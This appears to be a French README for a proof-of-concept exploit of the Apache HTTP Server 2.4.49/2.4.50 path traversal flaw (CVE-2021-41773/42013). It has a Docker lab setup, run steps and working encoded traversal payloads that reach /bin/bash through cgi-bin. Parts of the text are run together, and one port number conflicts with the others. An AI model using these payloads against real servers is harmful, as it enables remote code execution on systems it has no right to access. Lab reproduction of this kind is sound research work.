
Preuve de concept d'exploit pour la vulnérabilité de traversée de chemin d'Apache HTTP Server 2.4.49/2.4.50 (CVE-2021-41773) permettant l'exécution de code à distance via des scripts CGI. Comprend un environnement de reproduction basé sur Docker et un script d'exploitation Python.
Une vulnérabilité a été découverte dans une modification apportée à la normalisation des chemins dans Apache HTTP Server 2.4.49. Un attaquant pourrait utiliser une attaque de type path traversal pour mapper des URLs vers des fichiers situés en dehors des répertoires configurés par des directives de type Alias. Si les fichiers en dehors de ces répertoires ne sont pas protégés par la configuration par défaut "require all denied", ces requêtes peuvent aboutir. De plus, si les scripts CGI sont activés pour ces chemins aliasés, cela pourrait permettre une exécution de code à distance. Cette vulnérabilité est connue pour être exploitée dans la nature. Ce problème affecte uniquement Apache 2.4.49 et non les versions antérieures. Le correctif dans Apache HTTP Server 2.4.50 était incomplet, voir CVE-2021-42013.
pip3 install colorama)perl hello-world exécuté dans le(s) conteneur(s)Lancez un Apache httpd vulnérable (avec la configuration par défaut) en tant que conteneur docker/podman.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Conteneur | Port d'écoute |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 sélectionner l'attaque sur la version 2.4.49
1.3 python3 main.py localhost:2450
1.4 sélectionner l'attaque sur la version 2.4.50
L'exploit utilise le module CGI d'Apache httpd pour permettre l'exécution d'exécutables arbitraires via un path traversal.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ est encodé en URL et équivaut à ../ une fois décodé.
.%%32%65 est doublement encodé en URL et équivaut également à ../ une fois décodé.